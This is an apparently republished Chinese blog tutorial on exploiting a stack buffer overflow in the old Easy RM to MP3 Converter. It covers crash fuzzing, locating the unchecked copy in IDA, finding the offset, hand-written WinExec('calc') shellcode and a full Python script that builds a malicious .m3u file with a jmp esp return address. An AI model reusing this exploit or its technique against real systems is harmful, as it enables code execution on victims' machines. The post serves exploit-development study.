Easy RM to MP3 Converter栈溢出定位及漏洞利用

Posted snip3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Easy RM to MP3 Converter栈溢出定位及漏洞利用相关的知识,希望对你有一定的参考价值。

  本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。

  用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter

 

  首先,在填充字符为10000和20000时,异常被捕捉到

技术分享图片

在填充字符为30000时,程序崩溃

技术分享图片

 

  查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

  首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数

技术分享图片

  在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数

技术分享图片

  跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度

技术分享图片

 

  然后定位一下需要覆盖的栈内容长度

  因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload=‘x41‘*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload=‘x41‘*20000+pattern5000计算偏移;否则直接计算偏移即可。

在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)

技术分享图片

技术分享图片

所以这里我们构造一个payload=‘x41‘*26076+addr_of_jmp_esp+nop+shellcode

 

  关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写

.386
    .model flat,stdcall
    option casemap:none

include     C:masm32includewindows.inc
include     C:masm32includeuser32.inc
includelib  C:masm32libuser32.lib
include     C:masm32includekernel32.inc
includelib  C:masm32libkernel32.lib
    
    .code
start:
;WinExec("calc",5)
xor eax,eax
push eax
mov eax,6578652Eh
push eax
mov eax,636c6163h
push eax
mov eax,esp
push 5
push eax
mov eax,77E6E695h;kernel32.winexec(),需要调试确定
call eax

end start

 关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定

技术分享图片

(这里忽略第一行的空字节压栈)

读取编译好的字节码也可以用分享的perl脚本readbin.pl确定

技术分享图片

这里可以对照OD确定机器码的起始位置。

完整exp如下

f=open(pwn.m3u,w)
exp=x41*26076
exp+=xedx1ex94x7c#addr_of_jmp_esp
exp+=x90*4
exp+="x33xc0x50xb8x2ex65x78x65x50xb8x63x61x6cx63x50x8bxc4x6ax05x50xb8x4dx11x86x7cxffxd0x33xc0x50xb8x87x2axe3x77xffxd0x33xc0x50xb8x87x2axe3x77xffxd0x00"
f.write(exp)
f.close()

 

 这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。

在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行

技术分享图片

继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop

技术分享图片

填充4字节nop后,pwned

技术分享图片

PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec

以上是关于Easy RM to MP3 Converter栈溢出定位及漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

ViWizard Music Converter for Mac如何将音乐转换为 MP3?

ViWizard Audio Converter for Mac如何将音频文件转换为 MP3?

如何使用NoteBurner Spotify Music Converter Mac将 Spotify 歌曲转换为 MP3 以供离线使用

Filmage Converter for Mac支持的视频转换格式有哪些?如何将视频转换为MP3格式?

Macsome iTunes Converter for Mac如何将 Apple Music 转换为 Mac 的 MP3/AAC/WAV/FLAC/AIFF?

MP3、MID、MMF、MFM、AMR、WMA ,RM,这些格式有啥区别啊?